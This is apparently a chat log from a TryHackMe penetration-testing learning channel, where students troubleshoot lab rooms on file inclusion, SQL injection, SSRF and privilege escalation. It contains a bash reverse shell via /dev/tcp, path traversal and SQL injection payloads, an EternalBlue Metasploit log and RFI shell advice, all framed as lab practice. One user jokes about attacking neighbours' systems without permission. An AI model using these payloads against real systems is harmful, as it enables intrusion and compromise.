[ashen oxide]

I want to retake my finished junior path again. How can I do it?

[remote iris]

Reset each room one by one, or create a new account.

[proud crystal]

i been thinking bout doing this also. my memory sometimes is like a gold fish haha

[warped crypt]

#Script kiddie

[prisma raptor]

Don't forget to take notes as you work on rooms.

[spark path]

Almost 90% through this path and I plan to complete it within the next few days. Also, Burp Suite is very 🆒 .

[prisma raptor]

Do check Caido and OWASP Zap as alternatives

[cold seal]

I am now officially on this path and i figure it will take me at least 5 to 6 months to complete considering the recent cybersecurity 101 took me 4 months to complete. I take my time i am in a hurry but i also for the sake of my mental health dont want to burn myself out. Cramming everything in a matter of days and endless hours to me is very unproductive these days its more focus and discipline and focus on completing one module at a time rather than speed running through all of it. But that is just me.

[spark path]

Gotcha, will do!

[unreal forge]

[austere root]

I am doing task 3 in the Nmap Live Host Discovery Room. I cannot find the Start Machine button for some strange reason. There is only one button for the static site in Task 2

[daring cradle]

There's a start attackbox button below the room title, in the page header

[austere root]

I am looking for the button to start the Start Machine button to start my target ip.

[daring cradle]

You dont really need a target machine to answer these questions

[austere root]

Thanks. I just checked again.

[austere root]

Doing the nmap advanced scanning room. I am trying to do an Ack scan but the results arent showing anything.

I have tried using sudo nmap -sA <Target IP>
I also tried sudo nmap --scanflags ACK <Target IP> but no ports are showing up. I have also reset the machine multiple times to no avail

[craggy pilot]

have you tried with -p- to scan for all ports maybe its not within the default ports that nmap scans for

[austere root]

Okay I will try to do so. Thank you

[next lance]

Gave +1 Rep to @craggy pilot (current: #3476 - 1)

[austere root]

It says all ports are unfiltered which is not right

[craggy pilot]

it was a guess from my part what you could try.

[austere root]

its okay let me take a break and try again later. Could be a connection problem

[daring cradle]

Why do you think it's not right?
TCP ACK scan is only useful for finding out whether a firewall is blocking certain ports or not. So, ports are going to show as filtered or unfiltered. Filtered means the ACK didn't receive a response as it was blocked by a firewall. Unfiltered means the ACK reached the target port and a RST was received. So, it wasn't filtered by a f/w. An usollicited ACK always results in a RST (reset) regardless whether or not a service is actually running on that port. This is why a TCP ACK scan is only useful for figuring out firewall rules and not for finding out actual target port or service state.

[austere root]

It eventually worked. I am not sure why the scan was not completing. It would say all ports are filtered. I had issues with scans not completing in that particular room and had to restart my machines a lot

[glad zenith]

Why do I not see the flag here:

[midnight fox]

Did you finally succeed?

Cause I am also stuck there i don't seem to find the flag

[glad zenith]

nope

Still waiting on someone who can help me out

[midnight fox]

Keep going mate you are gonna figure it out, I already did

[glad zenith]

Can I then have a hint ???

[daring cradle]

One of the headers in your packet has an incorrect value. I think you might have been over-editing the packet?

[glad zenith]

hmm, I only changed the get to POST
And added the content-type one

So one of those two must be it

now experimenting which one because right now I do not have a idea

@daring cradle

and added the file line

[daring cradle]

You know that if you right-click on the request packet in repeater you can choose "change request method" and it will change it to POST for you. So, there's really not much manual editing necessary here.

[glad zenith]

oke

but the repeater is a good choice ?

[daring cradle]

absolutely

[glad zenith]

oke

will try that way

right now I changed the method in the proxy

Are you South Afrikan or Dutch.
Your name almost looked like Dutch words
@daring cradle

[daring cradle]

Belgium 🇧🇪 😀 🍺 🍫

[glad zenith]

aha, im from East Netherlands

will try it after the sqlmap is ready
is very very slow in attackbox

🙁

[daring cradle]

gtg and eat

[glad zenith]

gtg ??

[daring cradle]

got to go

sry

[glad zenith]

enjoy the meal

[glad zenith]

@daring cradle still no flag

[daring cradle]

Content-Type is correct now, but your POST url is now wrong (previously it was correct).

[glad zenith]

I tried that one too but then got a 404
Will try tommorrow again. It is now time to sleep

[teal zenith]

just finished this whole path

[glad zenith]

@daring cradle still no luck

oke

A error:

<br />
<b>Warning</b>:  include() [<a href='function.include'>function.include</a>]: Failed opening '/etc/flag1' for inclusion (include_path='.:/usr/lib/php5.2/lib/php') in <b>/var/www/html/lab1.php</b> on line <b>26</b><br />

[daring cradle]

Your POST url is almost correct

[glad zenith]

😢

no ideas what to change

[daring cradle]

If you want I can tell you how to do it in Burp, because I think you are editing more than should be necessary

[glad zenith]

is one of the problems that before the challenges part must be a / ?

[daring cradle]

yes the leading / is missing

[glad zenith]

I try it the whole time in Burp

oke, I started up attackbox to try

but the /etc/flag1 must that now be in the URL
or as last in the request

and I do not change it
If burp changes the method the challenges part disappear

[daring cradle]

Just browse to the page and enter "/etc/flag1" and click include. Then find the request in Burp and send it to repeater, then in repeater right click in the request and select "change request method", then send it

[glad zenith]

oke

[daring cradle]

like this you dont need to do any editing

[glad zenith]

oke

burp is now starting on the attackbox

oke, now chancing the method

and the first flag
Finnaly

now thinking how and where I can change cookies

for flag2

some thinking to do
Change the cookie to administrator but then I see a message "welcome administrator" but also a warning

time for a break

[misty spoke]

I'm stuck on the final challenge (RFI/RCE) for File Inclusion: https://tryhackme.com/room/fileinc
I think I understand generally what I could do - host a malicious file with ngrok and coerce the app to include it - but as far as I can tell, the target VM has no connectivity to any other hosts, so I can't get it to include anything even with HTTP. Am I missing something? This seems like a huge leap from anything I've been asked to do on this path so far

[cold seal]

I am finally on this this pathway i hope to complete this by the summer and take the PT1 since the cybersecurity 101 path took me 4 months to complete, unlike most i dont rush i take my time and beside cramming everything as fast as possible doesnt help.

[prisma raptor]

And don't forget to take notes of what you did or learned on each room.

[cold seal]

I know i go slow not in a rush.

[sharp condor]

Why ngrok? You can just use a simple python http server.

python3 -m http.server 80

[sharp basalt]

Currently Studying the Advanced SQLi Room but I can’t access the website MACHINE_IP/second/add.php (and yes i started the machine snd used the ip address for the target provided) did it twice on the AttackBox same issue.
Am i doing something wrong? Or is it a THM issue

[misty spoke]

I used both; Python http to host the files and ngrok to expose it to the Internet so the target machine could access it. If I only used a server, I'm not sure how to make it accessible to a remote host from my Kali VM VPN'd to THM

got a little nerd-sniped and tried a couple more things this morning, like using my VPN IP (10.x.x.x) directly as the hostname. But no matter what, the playground times out trying to include it and show an empty file preview, even if I can access the exact same URL through my browser.
With one exception: if I put a URL for the target machine itself, it can access that. It just really seems like it's locked down to be unable to access any remote hosts, which completely defeats the purpose of demonstrating RFI

[sharp condor]

Hmm, using the VPN ip should've made it work. Idk, maybe the way you're doing RFI might be wrong, or the lab has some kinda problems.

[glad zenith]

May I have a hint on File Inclusion Task 8 question 2
Where i have to find flag2
I have changed the cookie to admin
But where do I put the request for the file ?

[iron jetty]

Hi,
I can't use burp's browser or the foxyproxy burp, i only have the GET request and the site never loads. The machine IP is working fine on firefox (i'm on the race condition room, i can connect with the 2 users on the website), but everytime i try to connect with burp, i can't. I'm on the THM virtual machine, the certificate is installed, and the proxy parameters are okay. What can i do ?
Thanks
I've already restarted burp, the attack box, the attack IP, firefox, etc

[misty spoke]

Next time I'm at it I guess I can try the AttackBox

[daring cradle]

After you have changed the cookie to admin and loaded the page there is a hint on the page...

[glad zenith]

oke

Is your country also so white ??

[daring cradle]

yes, snow white 😀

[glad zenith]

here also

some 1 - 2 cm

[gilded pewter]

Mock site for SSRF room no longer has the Avatars for the final ssrf directory traversal

[round grail]

what is the ip for the acme site

nevermind

im trying to take a screenshot but it wont work

im on subdomain enumeration, task 6 virtual hosts

the command is
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://MACHINE_IP

the thing is, what is the machine ip

because this room doesnt have any machine i can start

is it the attackbox ip or is the ip of the site

but wait -u is for the host

i just remembered i forgot to turn on the vm at the start

[gentle wharf]

Anyone else having issues with Windows Privilege Escalation > Task 6? The walkthrough states that the provided login should have SeBackupPrivilege but it does not.

C:\Users\THMBackup>whoami
wprivesc2\thmbackup

C:\Users\THMBackup>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

[gentle wharf]

nvm.. had to right click cmd.exe and run as admin. was running cmd.exe through start > run > cmd.exe

[frigid sorrel]

Hi, Im in the file inclusion module task 8 question 3, how does the hint know this uses the $_REQUEST method how did it get that information?

also thanks in advance

[jagged river]

As an attacker doing a black box test, you would not know this. You'd just have to guess, based on responses you are getting from the web app. The hint knows because the room creators know the source code of the PHP web app that they are using.

[versed snow]

Have you managed to resolve it? I'm stuck on same step

EDIT: Ok, I was able to resolve it 🙂

[frigid sorrel]

what kind of clues would lead me to that conclusion? im still lost on that

[jagged river]

• https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion
• https://github.com/OWASP/www-project-web-security-testing-guide/blob/master/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_File_Inclusion.md#testing-for-remote-file-inclusion

It is probably down to: understanding a bit of PHP, common ways that (old) web apps were (are) coded and common mistakes that developers make which lead to security holes.

Not sanitizing $_GET is one and I think $_REQUEST is less common but looks like it gets mentioned in some places. There are also automated tools that will try many of the common "tricks". Finding a parameter like ?file=something is a good indicator to look more closely.

[gilded pewter]

yea, it seems very strick on the order of clickin the provided links -- cant access the avatars from the same link used to create the account. a bit of an odd workflow

[frigid sorrel]

I have no idea how to give rep +1 but assume I did

[gentle ibex]

can anyone help me with attack box

[white gorge]

Hey peepz, need help
Stuck on Intro to Cross-Site Scripting
Every task was great until last one, netcat is listening but no matter how long i wait i get no incoming requests. Yes, im using attack box, yes payload has correct ip and port as well as nc does

😕

[midnight fox]

The cheat sheet link in command injection room doesn't work anymore

[versed snow]

Yeah, I've reported this via the feedback form. Use web.archive or Google any different one. Personally I just used web.archive - https://web.archive.org/web/20251112071014/https://github.com/payloadbox/command-injection-payload-list

[opaque mesa]

Hi, I'm currently stuck on the LFI/RFI lab. I'm trying to achieve RCE by hosting a PHP shell and providing the HTTP link to the vulnerable parameter. I've tried using python3 -m http.server, but it isn't working. Could someone explain the correct way to make my local file accessible to the target machine? Do I need to use a specific IP or interface?

[versed snow]

try python -m http.server instead

[opaque mesa]

ok thanks

[next lance]

Gave +1 Rep to @versed snow (current: #1039 - 6)

[versed snow]

and if it still doesn't work, send us screenshot or text of the error

[midnight fox]

Also, if you are on your own machine, try using the attack box, sometimes it's config problems

I was stuck in that room for two days, turns out I was using my own machine, when I switched to the attack box it instantly worked

[forest pollen]

Just finished that part. I think there's an issue with the question tbh. I put the right answer just to move on, but theoretically it doesn't seem right

[valid plover]

Hi everyone,
I’ve completed the TryHackMe Pentester path and I’d like to know what the next logical step is to keep practicing in a structured way.

Should I focus first on specific rooms/modules (Active Directory, Web exploitation, privilege escalation),

My goal is to practice realistically, reinforce fundamentals, and progressively move toward real-world pentesting scenarios.

Thanks in advance for your guidance 🙂

[paper gale]

Do it again and again

[valid plover]

thanks, is there any challenges or walkthroughs that could be done ? thanks

[next lance]

Gave +1 Rep to @paper gale (current: #3539 - 1)

[paper gale]

bro It's very defficult to advice you single thing but you need to somthing real like penetrate of your friends or some neighbor systems do all the stuff with your own systems or your college servers if you have permission if you don't then do it for just "educational" purposes only .🤣

[fervent thunder]

Hello everyone well this is just something I want to to do actually soo basically I want to have a group of both newbies and experienced people in th world of cybersecurity mainly red teaming and penetration testing so we can all learn together and build ourselves. I know some might have some contradictory opinions but it's just what I think works. Soo anyone interested?.

[paper gale]

Hello 👋

Dear Penetration tester how are you..?

What's going on

[valid plover]

yes interested !

[gaunt epoch]

i just finished it without any problems ig u had a mistake on the hostname command file (the php one) , and about the challenges i didn't do them cause i heard i gotta learn burp suite first

[slate cape]

I am !

[jade pagoda]

any one know about that how to access linux terminal from window?

[jade pagoda]

yes

and also guide me about how to transfer files between window and kali

[karmic scarab]

Would depend on your scenario

[fervent thunder]

also any really experienced dudes wanna join

[fervent thunder]

Yoo sure

[jade pagoda]

yes

[dusk nexus]

Pentest+ resources and timeline?

[next lance]

Gave +1 Rep to @jagged river (current: #147 - 70)

[sterile lark]

Yh
I could like to join

[jaunty verge]

That sound awesome, but I don't know if I'm ready yet. I'm still going through the learning paths and haven't done any capture the flags yet

[fervent thunder]

no problen hit me up if ur comfortable joining

[jaunty verge]

what time zone are you guys in. I'm in Eastern

[regal ridge]

Hola guys I need vps/vpn. Any spare one

[jaunty verge]

you mean an image?

[rancid bison]

linux privilege escalation - task 6

tried nano to get as shown below but not abel to get root

any solutions i even tried with my attacker box and as well as , restarted machine many times no luck could someone help on this

?

used this one

[soft yew]

did you get it to work?

and did you find the answer to the first question in task 6?

[rancid bison]

it fixed i restarted whole env 3 times

something bugged out

thanks btw

[dry lance]

I’m interested

[azure walrus]

Yes

Does TryHackMe bug out very often?

[flat pulsar]

I'm interested too

[tawdry magnet]

Hello.
Does this path leave a free certification at the end?

[jaunty verge]

no the certificates are paid

[tawdry magnet]

is there a certification of completion?

[jaunty verge]

i think you get an image that you can use, but I havent' completed it yet so i don't know

[simple skiff]

After finishing the course, I still feel at a loss about how to tackle certain things.

[lavish ibex]

Propably go do some challenges, the easy ones are quite fun and when you get stuck you can use a tutorial to see what you are supposed to do next

[open jolt]

Hi everybody,

Today is a good day for me. For once, I was able to get all the flags smoothly (File Inclusion, Task 8, the challenge) without having to dig a lot through the web, and it didn't seem very difficult to me (whereas in challenges there is usually a step where I struggle), so I guess I'm finally getting a bit better (or at least maybe I suck a bit less).

Anyway, my question is: for Flag3, $_REQUEST is mentioned, but I didn't need it, with just the (SPOILER) ||null byte|| I was fine. Am I missing something here? I have the feeling that the room was trying to show me something with $_REQUEST but I don't know what. Any idea? And is it important?

Also, for the RCE in Lab #Playground, it was surprisingly easy, (SPOILER) ||I just took the first random PHP reverse shell from revshells.com|| and it worked just fine. I was just wondering if ||there is some kind of "super shell" that is more stable and that you'd recommend rather than revshells.com's shells?||

[lavish ibex]

i think you can stabilise your shell somehow to make it more user friendly and make it so ctrl + c doesnt throw you out, im not sure how to do it but there definitly is a way

[open jolt]

Oh ok, that would be great. The Ctrl + C issue can quickly become very annoying I think. In the meantime I'll see if I can find something myself.

[lavish ibex]

Oh and also, the _$REQUESTS was referring to the fact that it was made out of $_POST $_GET and $_COOKIE that's what i understood from it

Because i think in one of the tasks the $_GET didn't work and you had to use the $_POST instead as i remember

[versed snow]

There's a room about shells, including netcat stabilisation: https://tryhackme.com/room/introtoshells

it's just further down the jr. pentester path

[eager oxide]

I had an Interview and the task was to find the 5 most critical vulnerabilities on a Domain (e.g google.com). How are the steps to do that for an jr position? Ty 🙂

[lavish ibex]

you sound like you just came here and think you can hack google in 5 seconds

spoiler

||you aint hacking google in 5 seconds||

[open jolt]

Hi, thanks. Indeed, I had seen it before, and since it's in the Jr Pentester path, I intended to simply wait until I reach it.

[next lance]

Gave +1 Rep to @versed snow (current: #375 - 23)

[glad zenith]

IM trying the sql injection room
And I try this :

https://website.thm/analytics?referrer=referrer=admin123' UNION SELECT SLEEP(5),2 where username like 'adsin%

but why is this given me ok and a short time ?

[maiden junco]

Is this issue occuring from my side ??

[lavish ibex]

go to: ----> manage account (settings) -----> vm and vpn settings -------> VM region and set it to europe ireland or US East depending which one is closer to you

[glad zenith]

Anyone who can help me with the problem I posted yesterday ??

[lavish ibex]

which task is it?

[glad zenith]

sql injection - task 8

[willow sierra]

anyone with clues on finding flags in
:Viewing The Page Source (walking an application)

[placid peak]

msf exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.1.26:4444
[*] 10.66.129.103:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.66.129.103:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.66.129.103:445     - Scanned 1 of 1 hosts (100% complete)
[+] 10.66.129.103:445 - The target is vulnerable.
[*] 10.66.129.103:445 - Connecting to target for exploitation.
[+] 10.66.129.103:445 - Connection established for exploitation.
[+] 10.66.129.103:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.66.129.103:445 - CORE raw buffer dump (42 bytes)
[*] 10.66.129.103:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.66.129.103:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.66.129.103:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.66.129.103:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.66.129.103:445 - Trying exploit with 12 Groom Allocations.
[*] 10.66.129.103:445 - Sending all but last fragment of exploit packet
[*] 10.66.129.103:445 - Starting non-paged pool grooming
[+] 10.66.129.103:445 - Sending SMBv2 buffers
[+] 10.66.129.103:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.66.129.103:445 - Sending final SMBv2 buffers.
[*] 10.66.129.103:445 - Sending last fragment of exploit packet!
[*] 10.66.129.103:445 - Receiving response from exploit packet
[+] 10.66.129.103:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.66.129.103:445 - Sending egg to corrupted connection.
[*] 10.66.129.103:445 - Triggering free of corrupted buffer.
dir
[-] 10.66.129.103:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.66.129.103:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.66.129.103:445 

why its failing...

[lavish ibex]

maybe check options again?

[placid peak]

hej

kali linux or parrot OS?

[lavish ibex]

in a meaning which one is better?

[placid peak]

yeah

[lavish ibex]

I only know kali linux so i can't really say which one is better

[placid peak]

is it good for red teaming?

[rancid crescent]

Can someone tell me why is it that WormGPT is highly not preferred for bug bounty and while black hats use it most of the time a single attack from that thing can shutdown companies so how do companies stop such attacks

[late merlin]

What's wormGPT

[rancid crescent]

An ai that can do automated attacks it can learn and adapt so basically the more it attacks no matter if it succeed or not it will learn and improve so basically it's a nuclear bomb 😀

[lavish ibex]

sounds like something an ai lover would say

[rancid crescent]

That's funny coming from you

[lavish ibex]

oo

oops

[lavish ibex]

what do you mean by that?

[rancid crescent]

Nothing

[lavish ibex]

i'm just saying that i don't believe ai's can be that good as you say

[rancid crescent]

It's true if you don't believe search for yourself the thing was shutdown from the eyes of the public it can do even more

[lavish ibex]

People propably don't use ai's to do bug bounty because it learnt from things that already happened and in bug bountry you are meant to find new ones + ai's in my opinion are unreliable

[rancid crescent]

True l won't argue with that but it depends on how you made the ai view the work

[lavish ibex]

Yeah, propably it's very lightweight it got most of the tools, exploitdb installed in it, and i honestly like it's look

[late merlin]

Have you any knowledge of it, or have you carried out an attack with it before

[wheat fox]

Hey, I am finally on the intermediate-level rooms, and I am proud of myself. However, I do need to do more challenges.

[flat rapids]

Can you give me link to download debian 12 iso please.

[wheat fox]

I am in the File Inclusion room (first intermediate room), and I am having some trouble with trying to figure out the challenge answers even though I have done all the previous questions along with looking at walkthroughs for the room. I just want to be able to do it on my own, so I decided to not just ctrl+c ctrl+v the answers :3

[rancid crescent]

I did but it costed me $2000 find

[potent stratus]

Hi guys !
I pass the eJPT this weekend, which room or challenge i have to focus to ensure a success ?
Thanks !

[lavish ibex]

2000$?! that's atleast 64gB of ram

[lavish ibex]

Atleast learnt something useful?

[rancid crescent]

Yes l Wil never use overpowered ai

[lavish ibex]

Congrats you are smarter than 99% of investors these days

[rancid crescent]

[shut prairie]

anyone here good at doing RFI attacks? im confused on the RFI challenge in the jr pentester path

[fast ermine]

Hello everyone, i'm stuck on Challenge 3 of File Inclusion module.
I've tried using cookies,POST,GET with this payload: ../../../../etc/flag3%00 but it just doesn't work, may anyone help?

[shut prairie]

Edit the url itself

Add the %00 to the url

[vital arch]

Hello

[glass hound]

I’m looking for someone skilled in reverse engineering I’m paying good money

[gaunt sentinel]

i just finished authentification bypass room, where i can practice it if anyone know

specially logic flaw and cookie tampering

[hasty harbor]

Hi! I’m looking for three people to join a small CTF team. I’d prefer if you’re 15 or younger and live in a time zone that’s at most ±2 hours from Finland (UTC+0, UTC+1, UTC+2 or UTC+3). The goal isn’t to jump into competitions right away — first we’d get to know each other, practice together, and build a good team dynamic. I’m a beginner and want to improve step by step toward intermediate‑level CTFs. If you’re interested in learning and practicing together, feel free to message me!

[full saddle]

Me

Lemme join

[copper shuttle]

Why does this feel like a lure

[lavish ibex]

Because it propably is

[dire vigil]

What's the avg time ppl take to complete jr penetration path

[prisma raptor]

It depends how much time you can allocate to it, your background and how fast you absorb knowledge. It's tricky to compare it with other folks.

[ivory echo]

Currently working through the Jr. Pen Tester path and had a few questions: 1. When a device on one subnet wants to ping a device, I understand that the device must first send an ARP request in order to populate its ARP table with the MAC address/IP address. What about when the device I want to ping is on a different subnet than my device? I can't use ARP since it doesn't go past routers. Does the router then send a broadcast to the other subnet trying to reach the correct endpoint?

[violet brook]

Very good question 🙂 . Your device will "wrap" that ICMP packet with destination IP inside into an Ethernet frame that it will send to your default gateway (router). Router will find destination subnet based on that IP from "wrapped" ICMP packet and send request to the default gateway of that subnet. Default gateway of the targeted subnet will then perform ARP request on the targeted subnet and return response to your gateway , which will forward that response back to your device .

[ivory echo]

Why is nmap able to detect what OS a machine is running without a full TCP connection, but not what versions are running on each port?

[tardy robin]

Hi everyone. I am stuck on task 4 of File Inclusion.

[prisma raptor]

What do you mean - nmap cannot detect the service running on each port?

[weary flax]

A full TCP connection is established through a three-way handshake: SYN - SYN/ACK - ACK. When using the stealth scan (-sS), Nmap prevents the connection from being fully established by not sending the final ACK (instead, it usually sends an RST).

​Nmap can still perform OS detection at this stage by analyzing the characteristics of the SYN/ACK response. Different operating systems have unique 'signatures' in their TCP/IP stack implementations, such as specific TTL (Time to Live) and Window Size values.

​However, service version detection (-sV) works at the application layer. To identify a version, Nmap needs to exchange data with the service (like a banner grab or a specific probe). This interaction requires a full TCP connection to be established first so that application-layer data can be transmitted.

[dire vigil]

Starting jr penetration testing , ready to give 4-5 hrs daily how time will need to complete it

[weary flax]

You can use learning scheduler to estimate completing time.

[versed snow]

I'm struggling with Windows Privilege Escalation room, task 6. I constantly get disconnected from machine after a while or I have following error when trying to connect through xfreerdp3. Already tried changing VPN region.
[17:40:21:510] [58580:0000e4d6] [ERROR][com.freerdp.core] - [freerdp_tcp_default_connect]: Couldn't get socket ip address

Anyone is having similar issues?
When using Remmina I also get disconnected

[17:46:11:316] [61650:0000f0d4] [ERROR][com.freerdp.core.transport] - [transport_read_layer]: BIO_read returned a system error 104: Connection reset by peer [17:46:11:316] [61650:0000f0d4] [ERROR][com.freerdp.core] - [transport_read_layer]: ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D] [17:46:11:316] [61650:0000f0d4] [INFO][com.freerdp.client.common] - [client_auto_reconnect_ex]: Network disconnect!

I guess something either with the machine in the task or AWS issues

Yea, same in other task :/ meh

[hard kindle]

There is a bug i think on Nmap basic port scans ( premium room) in task 5 , when i preform ' nmap -sS <Machine_IP> ' im suppose to recive an open port with 4 digits and im not reciving this kind. and im executing the same command as needed.

[weary flax]

Are you scan the right machine?

Since task 4,5,6 has their own machine

[hard kindle]

Ohh that’s probably the problem….

Thnx

[violet star]

How would I determine what my Auth Username and password is ?

[glad zenith]

Hello,

IM stuck at the vulnerabilty room

I use 50477 as shell but whatever I do I see this :

root@ip-10-80-95-16:~# python3 50477.py -u http://10.80.181.232
[+]Connecting...
Enter Command $ls
system

Enter Command $

What can I do to come further in this room ?

[prisma raptor]

Did you try to enumerate it? What OS version is it running? What are the folder contents? Did you try and see if you can get a reverse shell?

[glad zenith]

I only run the exploit found with searchsploit

and I tried this :

Enter Command $bash -c 'bash -i >& /dev/tcp/10.80.95.16/4444 0>&1'

But no answer back

[prisma raptor]

Have you tried other reverse shell payloads?

I try the bash ones and it if those doesn't work, I try to python ones

[glad zenith]

no bash ones to find

fuel CMS 1.4.1 - Remote Code Execution (1)    | linux/webapps/47138.py
Fuel CMS 1.4.1 - Remote Code Execution (2)    | php/webapps/49487.rb
Fuel CMS 1.4.1 - Remote Code Execution (3)    | php/webapps/50477.py
Fuel CMS 1.4.13 - 'col' Blind SQL Injection ( | php/webapps/50523.txt
Fuel CMS 1.4.7 - 'col' SQL Injection (Authent | php/webapps/48741.txt
Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Inject | php/webapps/48778.txt

[prisma raptor]

No, I meant using the same exploit, but using other reverse shell payloads for an interactive shell.

[glad zenith]

oke, then I have to think how I can use other reverse shells for that

[open jolt]

Hi, try a mkfifo one

[glad zenith]

I will

[prisma raptor]

You can choose from the ones in revshells.com, payloadsallthethings and there is a newer platform which I can't remember off the top of my head

[glad zenith]

Thanks

[oblique moss]

I did over look... "start attack" opens a new intruder attack window in background, working within a tight screen environment - found it! Disregard product warning when initiating attack, as it appears to be for information only.

[finite citrus]

Did you solve it?

[finite citrus]

The syntax of php in the python code is an old one. You have to edit the exploit file to adapt to the new php version

[glad zenith]

I did solve it but with the exploit given as a way you could not solve it

[quaint osprey]

Hey everyone, I’m working on a Level 3 SQLi lab and I’ve hit a wall with a server-side filter.
The Setup: I've bypassed the front-end JS and I'm using 'Edit and Resubmit' in the Network tab to hit the id parameter directly. The server returns 'Dangerous Command' for almost everything. I’ve tried:
Standard UNION SELECT (with case folding/comments)
Boolean logic like 1' AND 1=1--
URL/Hex encoding the keywords.
I also noticed a csrftoken and dual sessionid cookies (one for / and one for /level3).

is this a Blind SQLi case where I need to bypass space/keyword filtering using alternative whitespace characters, or should I be looking at a different Vector (like the Cookies or CSRF token) because the id param is a honey-pot? Not looking for the flag, just a nudge on the filter logic!"

[echo vapor]

Hi guys,
I'm stuck on windows privilege escalation room- task 6. I'm not able to start a smbserver with impacket with the same commands from the task:
Any help would be appreciated:)

It says OSError: Errno 98 Address already in use

[prisma raptor]

Are you using the Attackbox or your own VM?

[echo vapor]

Attackbox

Attackbox doesn't have impacket installed, i had to install manually.

[blazing surge]

Hello,
im stuck at Upload Vulnerabilities room, the intro of the room tells us to edit /etc/hosts file since the room is using virtual hosting. I followed the steps exactly still for some reason i cant access the website for the practical of the room.
If anyone else has already encountered this or has a solution pls DM or reply.

[distant plinth]

what should i do after finishing jr pentester path? do i start solving challenges so i can hone my skills? if so what challenges should i start solving?

[prisma raptor]

Maybe start with easy and medium rated challenge rooms to get a feel of how to apply what you've learned.

[distant plinth]

is there a specific way i should be solving them?

[prisma raptor]

I don't think there should be, but more of finding a methodology that works for you.. from information gathering, exploitation, post-compromise, etc.

[distant plinth]

okay thank you

[tardy robin]

Hello guys. Please i am having trouble with this room:Intro to SSRF. I have done the task, i am unable to gget the flag.

[tardy robin]

Please help if you can.

[distant plinth]

right click radio button of any image and click inspect then set the value as x/../private then click that radio button and update profile picture with you'll see empty profile picture then right click the empty profile picture and press view page source

[tardy robin]

Okay thank you for your response. lemme do it.

[next lance]

Gave +1 Rep to @distant plinth (current: #3698 - 1)

[tardy robin]

when you say an empty profile picture, do you mean a picture with no radio button or what do you mean by empty rofile please?

[distant plinth]

when you update your profile picture it reflects above profile pictures to show you which profile picture you currently have what i mean by empty is when you set the value to something else so no profile picture will appear there

i believe you can type the room name followed by tryhackme on youtube and you'll find videos about ppl doing the room so that can help you

[tardy robin]

appreciate.

[distant plinth]

glad i was able to help also make sure not to include machine ip addresses in screenshots i think it's safer that way

[leaden rain]

Gm guys

[barren matrix]

gm gm

are you on jr pentester path or veteran youre in cyberscurity ?

[leaden rain]

❤️

[leaden rain]

I am a cybersecurity student in my 4th year

@barren matrix send me a friend request

[barren matrix]

Oh great nvm which country ?

[leaden rain]

Nigeria

[leaden rain]

Hi

[barren matrix]

oh great so which topics you have do u have hands on practice or nah nto yet

[leaden rain]

I am a great hacker way above my peers, I can hack websites, hack Windows and Linux systems, hack CCTV, hack mobile phones create spyware and malware

[barren matrix]

Which is youre main domain ?

osint

pwn rev or wot

[leaden rain]

Main domain??

[barren matrix]

Core Focus In which domain I meant by job or focus

Example osint , pwn ,rev , malware dev etc

[leaden rain]

WoT, osint
, malware

[barren matrix]

Good

[leaden rain]

What about you?

[barren matrix]

which distro youre using btw ?

[barren matrix]

vuln researching

[leaden rain]

Kali

[barren matrix]

good

[leaden rain]

You have anything on GitHub?

Let's partnership me you in your dm

[barren matrix]

I keep my things private hosted Kinda Im running A team so

[leaden rain]

Ohh okayy

[pseudo quiver]

dm

[mossy nexus]

hey, there is a dead link in this room : https://tryhackme.com/room/oscommandinjection task 5, the cheat sheet goes to a non-existent repo

[tired plover]

Can you suggest me wifi adapter for injection please

[hazy pasture]

guys i am confused when im trying to gain root access after finding the setImpersonator is enabled

[karmic scarab]

yes it is heres the wayback result for that cheat sheet

https://web.archive.org/web/20251112071014/https://github.com/payloadbox/command-injection-payload-list

[opaque mesa]

Hi guys, I'm currently doing the "Vulnerabilities 101" room. In task number 4, they ask: "Using NVD, how many CVEs were published in July 2021?" I've searched and found that the answer is 1,585, but THM says that's incorrect. Why?

[prisma raptor]

Have you filtered out the rejected ones? If you look at the Advanced Options you should be able to see it.

[balmy jungle]

Gm guys

[opaque mesa]

thank you

[next lance]

Gave +1 Rep to @prisma raptor (current: #11 - 937)

[hybrid quest]

For pen testing lab should i set up kali on my main pc in a vm or on vm on proxmox server?

[prisma raptor]

Kali in a VM would be good as you can just take snapshots and don't have to build from scratch if something happens

[hybrid quest]

Thank you

[next lance]

Gave +1 Rep to @prisma raptor (current: #11 - 941)

[late island]

Hey everyone , can you help me in RCE task ? How we can execute the attack please

[prisma raptor]

Which room and task number are you on?

[late island]

File inclusion room task 8 the last one

[stiff oxide]

What you have is an RFI (remote file inclusion) vulnerability. You can enter link to your php reverse shell to gain RCE. Just host it locally or in the attackbox with python http.server

[late island]

I understand the main idea but i dont know where php file should be created and the server to implement the attack

[stiff oxide]

